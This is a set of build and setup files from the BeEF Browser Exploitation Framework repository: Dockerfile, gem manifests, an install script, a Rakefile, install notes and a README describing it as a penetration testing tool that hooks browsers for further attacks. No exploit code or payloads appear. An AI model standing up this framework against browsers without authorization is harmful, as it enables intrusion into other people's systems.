## change the username:password in the config.yaml file to something secure that is not beef:beef ##
## before building or you will be denied access and have to rebuild anyway. ##
## ##
###########################################################################################################
###########################################################################################################
# ---------------------------- Start of Builder 0 - Gemset Build ------------------------------------------
FROM ruby:3.2.1-slim-bullseye AS builder
COPY . /beef
# Set gemrc config to install gems without Ruby Index (ri) and Ruby Documentation (rdoc) files.
# Then add bundler/gem dependencies and install.
# Finally change permissions of bundle installs so we don't need to run as root.
RUN echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
&& apt-get update \
&& apt-get install -y --no-install-recommends \
git \
curl \
xz-utils \
make \
g++ \
libcurl4-openssl-dev \
ruby-dev \
libffi-dev \
zlib1g-dev \
libsqlite3-dev \
sqlite3 \
&& bundle install --gemfile=/beef/Gemfile --jobs=`nproc` \
&& rm -rf /usr/local/bundle/cache \
&& chmod -R a+r /usr/local/bundle \
&& rm -rf /var/lib/apt/lists/*
# ------------------------------------- End of Builder 0 -------------------------------------------------
# ---------------------------- Start of Builder 1 - Final Build ------------------------------------------
FROM ruby:3.2.1-slim-bullseye
LABEL maintainer="Beef Project" \
source_url="github.com/beefproject/beef" \
homepage="https://beefproject.com/"
# BeEF UI/Hook port
ARG UI_PORT=3000
ARG PROXY_PORT=6789
ARG WEBSOCKET_PORT=61985
ARG WEBSOCKET_SECURE_PORT=61986
# Create service account to run BeEF and install BeEF's runtime dependencies
RUN adduser --home /beef --gecos beef --disabled-password beef \
&& apt-get update \
&& apt-get install -y --no-install-recommends \
curl \
openssl \
libssl-dev \
libreadline-dev \
libyaml-dev \
libxml2-dev \
libxslt-dev \
libncurses5-dev \
libsqlite3-dev \
sqlite3 \
zlib1g \
bison \
nodejs \
&& apt-get -y clean \
&& rm -rf /var/lib/apt/lists/*
# Use gemset created by the builder above
COPY --chown=beef:beef . /beef
COPY --from=builder /usr/local/bundle /usr/local/bundle
# Ensure we are using our service account by default
USER beef
# Expose UI, Proxy, WebSocket server, and WebSocketSecure server ports
EXPOSE $UI_PORT $PROXY_PORT $WEBSOCKET_PORT $WEBSOCKET_SECURE_PORT
HEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 CMD [ "curl", "-fS", "localhost:$UI_PORT" ]
WORKDIR /beef
ENTRYPOINT ["/beef/beef"]
# ------------------------------------- End of Builder 1 ------------------------------------------------- |
|
beef/Gemfile | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
#gem 'simplecov', require: false, group: :test
gem 'net-smtp', require: false
gem 'json'
gem 'eventmachine', '~> 1.2', '>= 1.2.7'
gem 'thin', '~> 1.8'
gem 'sinatra', '~> 3.0'
gem 'rack', '~> 2.2'
gem 'rack-protection', '~> 3.0.5'
gem 'em-websocket', '~> 0.5.3' # WebSocket support
gem 'uglifier', '~> 4.2'
gem 'mime-types', '~> 3.4', '>= 3.4.1'
gem 'execjs', '~> 2.8', '>= 2.8.1'
gem 'ansi', '~> 1.5'
gem 'term-ansicolor', :require => 'term/ansicolor'
gem 'rubyzip', '~> 2.3'
gem 'espeak-ruby', '~> 1.1.0' # Text-to-Voice
gem 'rake', '~> 13.0'
gem 'otr-activerecord', '~> 2.1', '>= 2.1.2'
gem 'sqlite3', '~> 1.6', '>= 1.6.1'
gem 'rubocop', '~> 1.53.1', require: false
# Geolocation support
group :geoip do
gem 'maxmind-db', '~> 1.1', '>= 1.1.1'
end
gem 'parseconfig', '~> 1.1', '>= 1.1.2'
gem 'erubis', '~> 2.7'
# Metasploit Integration extension
group :ext_msf do
gem 'msfrpc-client', '~> 1.1', '>= 1.1.2'
gem 'xmlrpc', '~> 0.3.2'
end
# Notifications extension
group :ext_notifications do
# Pushover
gem 'rushover', '~> 0.3.0'
# Slack
gem 'slack-notifier', '~> 2.4'
end
# DNS extension
group :ext_dns do
gem 'async-dns', '~> 1.3'
gem 'async', '~> 1.31'
end
# QRcode extension
group :ext_qrcode do
gem 'qr4r', '~> 0.6.1'
end
# For running unit tests
group :test do
gem 'test-unit-full', '~> 0.0.5'
gem 'rspec', '~> 3.12'
gem 'rdoc', '~> 6.5'
gem 'browserstack-local', '~> 1.4'
gem 'irb', '~> 1.7'
gem 'pry-byebug', '~> 3.10', '>= 3.10.1'
gem 'rest-client', '~> 2.1.0'
gem 'websocket-client-simple', '~> 0.6.1'
# curb gem requires curl libraries
# sudo apt-get install libcurl4-openssl-dev
gem 'curb', '~> 1.0', '>= 1.0.5'
# selenium-webdriver 3.x is incompatible with Firefox version 48 and prior
# gem 'selenium' # Requires old version of selenium which is no longer available
gem 'geckodriver-helper', '~> 0.24.0'
gem 'selenium-webdriver', '~> 4.10'
# nokogiri is needed by capybara which may require one of the below commands
# sudo apt-get install libxslt-dev libxml2-dev
# sudo port install libxml2 libxslt
gem 'capybara', '~> 3.39'
end
source 'https://rubygems.org' |
|
beef/Gemfile.lock | GEM
remote: https://rubygems.org/
specs:
activemodel (7.0.4.3)
activesupport (= 7.0.4.3)
activerecord (7.0.4.3)
activemodel (= 7.0.4.3)
activesupport (= 7.0.4.3)
activesupport (7.0.4.3)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 1.6, < 2)
minitest (>= 5.1)
tzinfo (~> 2.0)
addressable (2.8.4)
public_suffix (>= 2.0.2, < 6.0)
ansi (1.5.0)
archive-zip (0.12.0)
io-like (~> 0.3.0)
ast (2.4.2)
async (1.31.0)
console (~> 1.10)
nio4r (~> 2.3)
timers (~> 4.1)
async-dns (1.3.0)
async-io (~> 1.15)
async-io (1.34.3)
async
browserstack-local (1.4.2)
byebug (11.1.3)
capybara (3.39.2)
addressable
matrix
mini_mime (>= 0.1.3)
nokogiri (~> 1.8)
rack (>= 1.6.0)
rack-test (>= 0.6.3)
regexp_parser (>= 1.5, < 3.0)
xpath (~> 3.2)
coderay (1.1.3)
concurrent-ruby (1.2.2)
console (1.16.2)
fiber-local
curb (1.0.5)
daemons (1.4.1)
diff-lcs (1.5.0)
domain_name (0.5.20190701)
unf (>= 0.0.5, < 1.0.0)
em-websocket (0.5.3)
eventmachine (>= 0.12.9)
http_parser.rb (~> 0)
erubis (2.7.0)
espeak-ruby (1.1.0)
event_emitter (0.2.6)
eventmachine (1.2.7)
execjs (2.8.1)
fiber-local (1.0.0)
geckodriver-helper (0.24.0)
archive-zip (~> 0.7)
hashie (5.0.0)
hashie-forbidden_attributes (0.1.1)
hashie (>= 3.0)
http-accept (1.7.0)
http-cookie (1.0.5)
domain_name (~> 0.5)
http_parser.rb (0.8.0)
i18n (1.12.0)
concurrent-ruby (~> 1.0)
io-console (0.6.0)
io-like (0.3.1)
irb (1.7.0)
reline (>= 0.3.0)
json (2.6.3)
language_server-protocol (3.17.0.3)
matrix (0.4.2)
maxmind-db (1.1.1)
method_source (1.0.0)
mime-types (3.4.1)
mime-types-data (~> 3.2015)
mime-types-data (3.2023.0218.1)
mini_mime (1.1.2)
minitest (5.18.0)
mojo_magick (0.6.7)
msfrpc-client (1.1.2)
msgpack (~> 1)
msgpack (1.6.1)
mustermann (3.0.0)
ruby2_keywords (~> 0.0.1)
net-protocol (0.2.1)
timeout
net-smtp (0.3.3)
net-protocol
netrc (0.11.0)
nio4r (2.5.8)
nokogiri (1.15.2-x86_64-linux)
racc (~> 1.4)
otr-activerecord (2.1.2)
activerecord (>= 4.0, < 7.1)
hashie-forbidden_attributes (~> 0.1)
parallel (1.23.0)
parseconfig (1.1.2)
parser (3.2.2.3)
ast (~> 2.4.1)
racc
power_assert (2.0.3)
pry (0.14.2)
coderay (~> 1.1)
method_source (~> 1.0)
pry-byebug (3.10.1)
byebug (~> 11.0)
pry (>= 0.13, < 0.15)
psych (5.1.0)
stringio
public_suffix (5.0.1)
qr4r (0.6.1)
mojo_magick (~> 0.6.5)
rqrcode_core (~> 0.1)
racc (1.7.1)
rack (2.2.7)
rack-protection (3.0.6)
rack
rack-test (2.1.0)
rack (>= 1.3)
rainbow (3.1.1)
rake (13.0.6)
rdoc (6.5.0)
psych (>= 4.0.0)
regexp_parser (2.8.1)
reline (0.3.5)
io-console (~> 0.5)
rest-client (2.1.0)
http-accept (>= 1.7.0, < 2.0)
http-cookie (>= 1.0.2, < 2.0)
mime-types (>= 1.16, < 4.0)
netrc (~> 0.8)
rexml (3.2.5)
rqrcode_core (0.2.0)
rr (3.1.0)
rspec (3.12.0)
rspec-core (~> 3.12.0)
rspec-expectations (~> 3.12.0)
rspec-mocks (~> 3.12.0)
rspec-core (3.12.1)
rspec-support (~> 3.12.0)
rspec-expectations (3.12.2)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.12.0)
rspec-mocks (3.12.4)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.12.0)
rspec-support (3.12.0)
rubocop (1.53.1)
json (~> 2.3)
language_server-protocol (>= 3.17.0)
parallel (~> 1.10)
parser (>= 3.2.2.3)
rainbow (>= 2.2.2, < 4.0)
regexp_parser (>= 1.8, < 3.0)
rexml (>= 3.2.5, < 4.0)
rubocop-ast (>= 1.28.0, < 2.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 2.4.0, < 3.0)
rubocop-ast (1.29.0)
parser (>= 3.2.1.0)
ruby-progressbar (1.13.0)
ruby2_keywords (0.0.5)
rubyzip (2.3.2)
rushover (0.3.0)
json
rest-client
selenium-webdriver (4.10.0)
rexml (~> 3.2, >= 3.2.5)
rubyzip (>= 1.2.2, < 3.0)
websocket (~> 1.0)
sinatra (3.0.6)
mustermann (~> 3.0)
rack (~> 2.2, >= 2.2.4)
rack-protection (= 3.0.6)
tilt (~> 2.0)
slack-notifier (2.4.0)
sqlite3 (1.6.1-x86_64-linux)
stringio (3.0.5)
sync (0.5.0)
term-ansicolor (1.7.1)
tins (~> 1.0)
test-unit (3.5.7)
power_assert
test-unit-context (0.5.1)
test-unit (>= 2.4.0)
test-unit-full (0.0.5)
test-unit
test-unit-context
test-unit-notify
test-unit-rr
test-unit-runner-tap
test-unit-notify (1.0.4)
test-unit (>= 2.4.9)
test-unit-rr (1.0.5)
rr (>= 1.1.1)
test-unit (>= 2.5.2)
test-unit-runner-tap (1.1.2)
test-unit
thin (1.8.2)
daemons (~> 1.0, >= 1.0.9)
eventmachine (~> 1.0, >= 1.0.4)
rack (>= 1, < 3)
tilt (2.1.0)
timeout (0.3.2)
timers (4.3.5)
tins (1.32.1)
sync
tzinfo (2.0.6)
concurrent-ruby (~> 1.0)
uglifier (4.2.0)
execjs (>= 0.3.0, < 3)
unf (0.1.4)
unf_ext
unf_ext (0.0.8.2)
unicode-display_width (2.4.2)
webrick (1.8.1)
websocket (1.2.9)
websocket-client-simple (0.6.1)
event_emitter
websocket
xmlrpc (0.3.2)
webrick
xpath (3.2.0)
nokogiri (~> 1.8)
PLATFORMS
x86_64-linux
DEPENDENCIES
ansi (~> 1.5)
async (~> 1.31)
async-dns (~> 1.3)
browserstack-local (~> 1.4)
capybara (~> 3.39)
curb (~> 1.0, >= 1.0.5)
em-websocket (~> 0.5.3)
erubis (~> 2.7)
espeak-ruby (~> 1.1.0)
eventmachine (~> 1.2, >= 1.2.7)
execjs (~> 2.8, >= 2.8.1)
geckodriver-helper (~> 0.24.0)
irb (~> 1.7)
json
maxmind-db (~> 1.1, >= 1.1.1)
mime-types (~> 3.4, >= 3.4.1)
msfrpc-client (~> 1.1, >= 1.1.2)
net-smtp
otr-activerecord (~> 2.1, >= 2.1.2)
parseconfig (~> 1.1, >= 1.1.2)
pry-byebug (~> 3.10, >= 3.10.1)
qr4r (~> 0.6.1)
rack (~> 2.2)
rack-protection (~> 3.0.5)
rake (~> 13.0)
rdoc (~> 6.5)
rest-client (~> 2.1.0)
rspec (~> 3.12)
rubocop (~> 1.53.1)
rubyzip (~> 2.3)
rushover (~> 0.3.0)
selenium-webdriver (~> 4.10)
sinatra (~> 3.0)
slack-notifier (~> 2.4)
sqlite3 (~> 1.6, >= 1.6.1)
term-ansicolor
test-unit-full (~> 0.0.5)
thin (~> 1.8)
uglifier (~> 4.2)
websocket-client-simple (~> 0.6.1)
xmlrpc (~> 0.3.2)
BUNDLED WITH
2.4.8 |
|
beef/install | #!/bin/bash
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
set -euo pipefail
NORMIFS=$IFS
SCRIFS=$'\n\t'
IFS=$SCRIFS
info() { echo -e "\\033[1;36m[INFO]\\033[0m $*"; }
warn() { echo -e "\\033[1;33m[WARNING]\\033[0m $*"; }
fatal() {
echo -e "\\033[1;31m[FATAL]\\033[0m $*"
exit 1
}
RUBYSUFFIX=''
command_exists() {
command -v "${1}" >/dev/null 2>&1
}
get_permission() {
warn 'This script will install BeEF and its required dependencies (including operating system packages).'
read -rp "Are you sure you wish to continue (Y/n)? "
if [ "$(echo "${REPLY}" | tr "[:upper:]" "[:lower:]")" = "n" ]; then
fatal 'Installation aborted'
fi
}
check_os() {
info "Detecting OS..."
OS=$(uname)
readonly OS
info "Operating System: $OS"
if [ "${OS}" = "Linux" ]; then
info "Launching Linux install..."
install_linux
elif [ "${OS}" = "Darwin" ]; then
info "Launching Mac OSX install..."
install_mac
elif [ "${OS}" = "FreeBSD" ]; then
info "Launching FreeBSD install..."
for SUFX in 32 31 30; do
if command_exists ruby${SUFX}; then
RUBYSUFFIX=${SUFX}
break
fi
done
install_freebsd
elif [ "${OS}" = "OpenBSD" ]; then
info "Launching OpenBSD install..."
for SUFX in 32 31 30; do
if command_exists ruby${SUFX}; then
RUBYSUFFIX=${SUFX}
break
fi
done
install_openbsd
else
fatal "Unable to locate installer for your operating system: ${OS}"
fi
}
install_linux() {
info "Detecting Linux OS distribution..."
Distro=''
if [ -f /etc/blackPanther-release ]; then
Distro='blackPanther'
elif [ -f /etc/redhat-release ]; then
Distro='RedHat'
elif [ -f /etc/debian_version ]; then
Distro='Debian'
elif [ -f /etc/alpine-release ]; then
Distro='Alpine'
elif [ -f /etc/os-release ]; then
#DISTRO_ID=$(grep ^ID= /etc/os-release | cut -d= -f2-)
DISTRO_ID=$(grep ID= /etc/os-release | grep -v "BUILD" | grep -v "IMAGE" | cut -d= -f2-)
if [ "${DISTRO_ID}" = 'kali' ]; then
Distro='Kali'
elif [ "${DISTRO_ID}" = 'arch' ] || [ "${DISTRO_ID}" = 'garuda' ] || [ "${DISTRO_ID}" = 'artix' ] || [ "${DISTRO_ID}" = 'manjaro' ] || [ "${DISTRO_ID}" = 'blackarch' ] || [ "${DISTRO_ID}" = 'arcolinux' ]; then
Distro='Arch'
elif grep -Eqi '^ID.*suse' /etc/os-release; then
Distro='SuSE'
fi
fi
if [ -z "${Distro}" ]; then
fatal "Unable to locate installer for your ${OS} distribution"
fi
readonly Distro
info "OS Distribution: ${Distro}"
info "Installing ${Distro} prerequisite packages..."
if [ "${Distro}" = "Debian" ] || [ "${Distro}" = "Kali" ]; then
sudo apt-get update
sudo apt-get install curl git build-essential openssl libreadline6-dev zlib1g zlib1g-dev libssl-dev libyaml-dev libsqlite3-0 libsqlite3-dev sqlite3 libxml2-dev libxslt1-dev autoconf libc6-dev libncurses5-dev automake libtool bison nodejs libcurl4-openssl-dev
if command_exists rvm || command_exists rbenv; then
info "Ruby package Manager exists - Ruby install skipped"
else
info "No Ruby package manager detected - will install Ruby"
sudo apt-get install ruby-dev
fi
elif [ "${Distro}" = "RedHat" ]; then
sudo yum install -y git make gcc openssl-devel gcc-c++ patch readline readline-devel zlib zlib-devel libyaml-devel libffi-devel bzip2 autoconf automake libtool bison sqlite-devel nodejs
elif [ "${Distro}" = "SuSE" ]; then
IFS=$NORMIFS
intpkg=""
nodejsver=nodejs16
# having NodeJS 18 installed should mean NodeJS 16 is not needed
rpm --quiet -q nodejs18 && nodejsver=""
for i in git make gcc libopenssl-devel gcc-c++ patch libreadline6 readline6-devel libz1 zlib-devel libyaml-devel libffi-devel bzip2 autoconf automake libtool bison sqlite3-devel $nodejsver; do
rpm --quiet -q "${i}" || intpkg="${intpkg} ${i}"
done
[ "$intpkg" ] && sudo zypper -n install -l "${intpkg}"
IFS=$SCRIFS
elif [ "${Distro}" = "blackPanther" ]; then
installing --auto git make gcc openssl-devel gcc-c++ patch readline-devel zlib-devel yaml-devel libffi-devel bzip2 autoconf automake libtool bison sqlite-devel nodejs sudo
elif [ "${Distro}" = "Arch" ]; then
sudo pacman -Syu
sudo pacman -S curl git make openssl gcc readline zlib libyaml sqlite bzip2 autoconf automake libtool bison nodejs
if command_exists rvm || command_exists rbenv; then
info "Ruby package Manager exists - Ruby install skipped"
else
info "No Ruby package manager detected - will install Ruby"
sudo pacman -S ruby ruby-rdoc
fi
elif [ "${Distro}" = "Alpine" ]; then
apk update
apk add curl git build-base openssl readline-dev zlib zlib-dev libressl-dev yaml-dev sqlite-dev sqlite libxml2-dev libxslt-dev autoconf libc6-compat ncurses5 automake libtool bison nodejs
fi
}
install_openbsd() {
sudo pkg_add curl git libyaml libxml libxslt bison node ruby${RUBYSUFFIX}-bundler lame espeak
}
install_freebsd() {
sudo pkg install curl git libyaml libxslt devel/ruby-gems bison node espeak
}
install_mac() {
local mac_deps=(curl git nodejs python3
openssl readline libyaml sqlite3 libxml2
autoconf ncurses automake libtool
bison wget)
if ! command_exists brew; then
fatal "Homebrew (https://brew.sh/) required to install dependencies"
fi
info "Installing dependencies via brew"
brew update
for package in "${mac_deps[@]}"; do
if brew install "${package}"; then
info "${package} installed"
else
fatal "Failed to install ${package}"
fi
done
}
check_ruby_version() {
info 'Detecting Ruby environment...'
MIN_RUBY_VER='3.0'
if command_exists rvm; then
RUBY_VERSION=$(rvm current | cut -d'-' -f 2)
info "Ruby version ${RUBY_VERSION} is installed with RVM"
if RUBY_VERSION -lt MIN_RUBY_VER; then
fatal "Ruby version ${RUBY_VERSION} is not supported. Please install Ruby ${MIN_RUBY_VER} (or newer) and restart the installer."
fi
elif command_exists rbenv; then
RUBY_VERSION=$(rbenv version | cut -d' ' -f 2)
info "Ruby version ${RUBY_VERSION} is installed with rbenv"
if RUBY_VERSION -lt MIN_RUBY_VER; then
fatal "Ruby version ${RUBY_VERSION} is not supported. Please install Ruby ${MIN_RUBY_VER} (or newer) and restart the installer."
fi
elif command_exists ruby${RUBYSUFFIX}; then
RUBY_VERSION=$(ruby${RUBYSUFFIX} -e "puts RUBY_VERSION")
info "Ruby version ${RUBY_VERSION} is installed"
if [ "$(ruby${RUBYSUFFIX} -e "puts RUBY_VERSION.to_f >= ${MIN_RUBY_VER}")" = 'false' ]; then
fatal "Ruby version ${RUBY_VERSION} is not supported. Please install Ruby ${MIN_RUBY_VER} (or newer) and restart the installer."
fi
else
fatal "Ruby is not installed. Please install Ruby ${MIN_RUBY_VER} (or newer) and restart the installer."
fi
}
check_bundler() {
info 'Detecting bundler gem...'
if command_exists bundler${RUBYSUFFIX}; then
info "bundler${RUBYSUFFIX} gem is installed"
else
info 'Installing bundler gem...'
gem${RUBYSUFFIX} install bundler
fi
}
install_beef() {
echo "Installing required Ruby gems..."
if [ -w Gemfile.lock ]; then
/bin/rm Gemfile.lock
fi
if command_exists bundle${RUBYSUFFIX}; then
bundle${RUBYSUFFIX} install
else
bundle install
fi
}
finish() {
echo
echo "#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#"
echo
info "Install completed successfully!"
info "Run './beef' to launch BeEF"
echo
echo "Next steps:"
echo
echo "* Change the default password in config.yaml"
echo "* Configure geoipupdate to update the Maxmind GeoIP database."
echo "* Review the wiki for important configuration information:"
echo " https://github.com/beefproject/beef/wiki/Configuration"
echo
echo "#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#"
echo
}
main() {
clear
if [ -f core/main/console/beef.ascii ]; then
cat core/main/console/beef.ascii
echo
fi
echo "#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#"
echo " -- [ BeEF Installer ] -- "
echo "#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#"
echo
if [ -n "${GITACTIONS:-}" ]; then
info "Skipping: Running on Github Actions"
else
get_permission
fi
check_os
check_ruby_version
check_bundler
install_beef
finish
}
main "$@" |
|
Text | beef/INSTALL.txt | ===============================================================================
Copyright (c) 2006-2023 Wade Alcorn - [email protected]
Browser Exploitation Framework (BeEF) - http://beefproject.com
See the file 'doc/COPYING' for copying permission
===============================================================================
Source
------
Obtain application source code either by downloading the latest archive:
$ wget https://github.com/beefproject/beef/archive/master.zip
Or cloning the Git repository from Github:
$ git clone https://github.com/beefproject/beef
Prerequisites
--------------
BeEF requires Ruby 2.7+.
If your operating system package manager does not support Ruby version 2.7,
you can add the brightbox ppa repository for the latest version of Ruby:
$ sudo apt-add-repository -y ppa:brightbox/ruby-ng
Alternatively, consider using a Ruby environment manager such as rbenv or rvm
to manager your Ruby versions. Refer to the following for more information:
* rbenv: https://github.com/rbenv/rbenv
* rvm: https://rvm.io/rvm/install
Installation
------------
Once Ruby is installed, run the install script in the BeEF directory:
./install
This script installs the required operating system packages and all the
prerequisite Ruby gems.
Upon successful installation, be sure to read the Configuration page
on the wiki for important details on configuring and securing BeEF.
https://github.com/beefproject/beef/wiki/Configuration
Start BeEF
----------
To start BeEF, simply run:
$ ./beef
Updating
--------
Due to the fast-paced nature of web browser development and webappsec landscape,
it's best to regularly update BeEF to the latest version.
If you're using BeEF from the GitHub repository, updating is as simple as:
$ ./update-beef
Or pull the latest repo yourself and then update the gems with:
$ git pull
$ bundle |
JSON | beef/package.json | {
"name": "BeEF",
"version": "0.5.4.0",
"description": "The Browser Exploitation Framework Project",
"scripts": {
"docs": "./node_modules/.bin/jsdoc -c conf.json"
},
"author": "Wade Alcorn",
"license": "GNU General Public License v2.0",
"devDependencies": {
"jsdoc": "^4.0.0",
"jsdoc-to-markdown": "^8.0.0"
},
"dependencies": {}
} |
beef/Rakefile | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
require 'yaml'
require 'bundler/setup'
load 'tasks/otr-activerecord.rake'
#require 'pry-byebug'
task :default => ["spec"]
desc 'Generate API documentation to doc/rdocs/index.html'
task :rdoc do
Rake::Task['rdoc:rerdoc'].invoke
end
## RSPEC
require 'rspec/core/rake_task'
RSpec::Core::RakeTask.new(:spec) do |task|
task.rspec_opts = ['--tag ~run_on_browserstack']
end
RSpec::Core::RakeTask.new(:browserstack) do |task|
task.rspec_opts = ['--tag run_on_browserstack']
end
RSpec::Core::RakeTask.new(:bs) do |task|
configs = Dir["spec/support/browserstack/**/*.yml"]
configs.each do |config|
config = config.split('spec/support/browserstack')[1]
ENV['CONFIG_FILE'] = config
puts "\e[45m#{config.upcase}\e[0m"
task.rspec_opts = ['--tag run_on_browserstack']
Rake::Task['browserstack'].invoke
Rake::Task['browserstack'].reenable
end
end
################################
# SSL/TLS certificate
namespace :ssl do
desc 'Create a new SSL certificate'
task :create do
if File.file?('beef_key.pem')
puts 'Certificate already exists. Replace? [Y/n]'
confirm = STDIN.getch.chomp
unless confirm.eql?('') || confirm.downcase.eql?('y')
puts "Aborted"
exit 1
end
end
Rake::Task['ssl:replace'].invoke
end
desc 'Re-generate SSL certificate'
task :replace do
if File.file?('/usr/local/bin/openssl')
path = '/usr/local/bin/openssl'
elsif File.file?('/usr/bin/openssl')
path = '/usr/bin/openssl'
else
puts "[-] Error: could not find openssl"
exit 1
end
IO.popen([path, 'req', '-new', '-newkey', 'rsa:4096', '-sha256', '-x509', '-days', '3650', '-nodes', '-out', 'beef_cert.pem', '-keyout', 'beef_key.pem', '-subj', '/CN=localhost'], 'r+').read.to_s
end
end
################################
# rdoc
namespace :rdoc do
require 'rdoc/task'
desc 'Generate API documentation to doc/rdocs/index.html'
Rake::RDocTask.new do |rd|
rd.rdoc_dir = 'doc/rdocs'
rd.main = 'README.mkd'
rd.rdoc_files.include('core/**/*\.rb')
#'extensions/**/*\.rb'
#'modules/**/*\.rb'
rd.options << '--line-numbers'
rd.options << '--all'
end
end
################################
# X11 set up
@xserver_process_id = nil;
task :xserver_start do
printf "Starting X11 Server (wait 10 seconds)..."
@xserver_process_id = IO.popen("/usr/bin/Xvfb :0 -screen 0 1024x768x24 2> /dev/null", "w+")
delays = [2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
delays.each do |i| # delay for 10 seconds
printf '.'
sleep (i) # increase the . display rate
end
puts '.'
end
task :xserver_stop do
puts "\nShutting down X11 Server...\n"
sh "ps -ef|grep Xvfb|grep -v grep|grep -v rake|awk '{print $2}'|xargs kill"
end
################################
# BeEF environment set up
@beef_process_id = nil;
@beef_config_file = 'tmp/rk_beef_conf.yaml';
task :beef_start => 'beef' do
# read environment param for creds or use bad_fred
test_user = ENV['TEST_BEEF_USER'] || 'bad_fred'
test_pass = ENV['TEST_BEEF_PASS'] || 'bad_fred_no_access'
# write a rake config file for beef
config = YAML.safe_load(File.read('./config.yaml'))
config['beef']['credentials']['user'] = test_user
config['beef']['credentials']['passwd'] = test_pass
Dir.mkdir('tmp') unless Dir.exist?('tmp')
File.open(@beef_config_file, 'w') { |f| YAML.dump(config, f) }
# set the environment creds -- in case we're using bad_fred
ENV['TEST_BEEF_USER'] = test_user
ENV['TEST_BEEF_PASS'] = test_pass
config = nil
puts "Using config file: #{@beef_config_file}\n"
printf "Starting BeEF (wait a few seconds)..."
@beef_process_id = IO.popen("ruby ./beef -c #{@beef_config_file} -x 2> /dev/null", "w+")
delays = [5, 5, 5, 4, 4, 3, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1]
delays.each do |i| # delay for a few seconds
printf '.'
sleep (i)
end
puts ".\n\n"
end
task :beef_stop do
# cleanup tmp/config files
puts "\nCleanup config file:\n"
rm_f @beef_config_file
ENV['TEST_BEEF_USER'] = nil
ENV['TEST_BEEF_PASS'] = nil
# shutting down
puts "Shutting down BeEF...\n"
sh "ps -ef|grep beef|grep -v grep|grep -v rake|awk '{print $2}'|xargs kill"
end
################################
# MSF environment set up
@msf_process_id = nil;
task :msf_start => '/tmp/msf-test/msfconsole' do
printf "Starting MSF (wait 45 seconds)..."
@msf_process_id = IO.popen("/tmp/msf-test/msfconsole -r test/thirdparty/msf/unit/BeEF.rc 2> /dev/null", "w+")
delays = [10, 7, 6, 5, 4, 3, 2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
delays.each do |i| # delay for 45 seconds
printf '.'
sleep (i) # increase the . display rate
end
puts '.'
end
task :msf_stop do
puts "\nShutting down MSF...\n"
@msf_process_id.puts "quit"
end
task :msf_install => '/tmp/msf-test/msfconsole' do
# Handled by the 'test/msf-test/msfconsole' task.
end
task :msf_update => '/tmp/msf-test/msfconsole' do
sh "cd /tmp/msf-test;git pull"
end
file '/tmp/msf-test/msfconsole' do
puts "Installing MSF"
sh "cd test;git clone https://github.com/rapid7/metasploit-framework.git /tmp/msf-test"
end
################################
# Create Mac DMG File
task :dmg do
puts "\nCreating Working Directory\n";
sh "mkdir dmg";
sh "mkdir dmg/BeEF";
sh "rsync * dmg/BeEF --exclude=dmg -r";
sh "ln -s /Applications dmg/";
puts "\nCreating DMG File\n"
sh "hdiutil create ./BeEF.dmg -srcfolder dmg -volname BeEF -ov";
puts "\nCleaning Up\n"
sh "rm -r dmg";
puts "\nBeEF.dmg created\n"
end
################################
# ActiveRecord
namespace :db do
task :environment do
require_relative "beef"
end
end |
|
Markdown | beef/README.md | ===============================================================================
Copyright (c) 2006-2023 Wade Alcorn - [email protected]
Browser Exploitation Framework (BeEF) - http://beefproject.com
See the file 'doc/COPYING' for copying permission
===============================================================================
What is BeEF?
-------------
__BeEF__ is short for __The Browser Exploitation Framework__. It is a penetration testing tool that focuses on the web browser.
Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.
Get Involved
------------
You can get in touch with the BeEF team. Just check out the following:
__Please, send us pull requests!__
__Web:__ https://beefproject.com/
__Bugs:__ https://github.com/beefproject/beef/issues
__Security Bugs:__ [email protected]
__Twitter:__ [@beefproject](https://twitter.com/beefproject)
__Discord:__ https://discord.gg/ugmKmHarKc
Requirements
------------
* Operating System: Mac OSX 10.5.0 or higher / modern Linux. Note: Windows is not supported.
* [Ruby](https://www.ruby-lang.org): 2.7 or newer
* [SQLite](http://sqlite.org): 3.x
* [Node.js](https://nodejs.org): 10 or newer
* The gems listed in the Gemfile: https://github.com/beefproject/beef/blob/master/Gemfile
* Selenium is required on OSX: `brew install selenium-server-standalone` (See https://github.com/shvets/selenium)
Quick Start
-----------
__The following is for the impatient.__
The `install` script installs the required operating system packages and all the prerequisite Ruby gems:
```
$ ./install
```
For full installation details, please refer to [INSTALL.txt](https://github.com/beefproject/beef/blob/master/INSTALL.txt) or the [Installation](https://github.com/beefproject/beef/wiki/Installation) page on the wiki.
Upon successful installation, be sure to read the [Configuration](https://github.com/beefproject/beef/wiki/Configuration) page on the wiki for important details on configuring and securing BeEF.
Documentation
---
* [User Guide](https://github.com/beefproject/beef/wiki#user-guide)
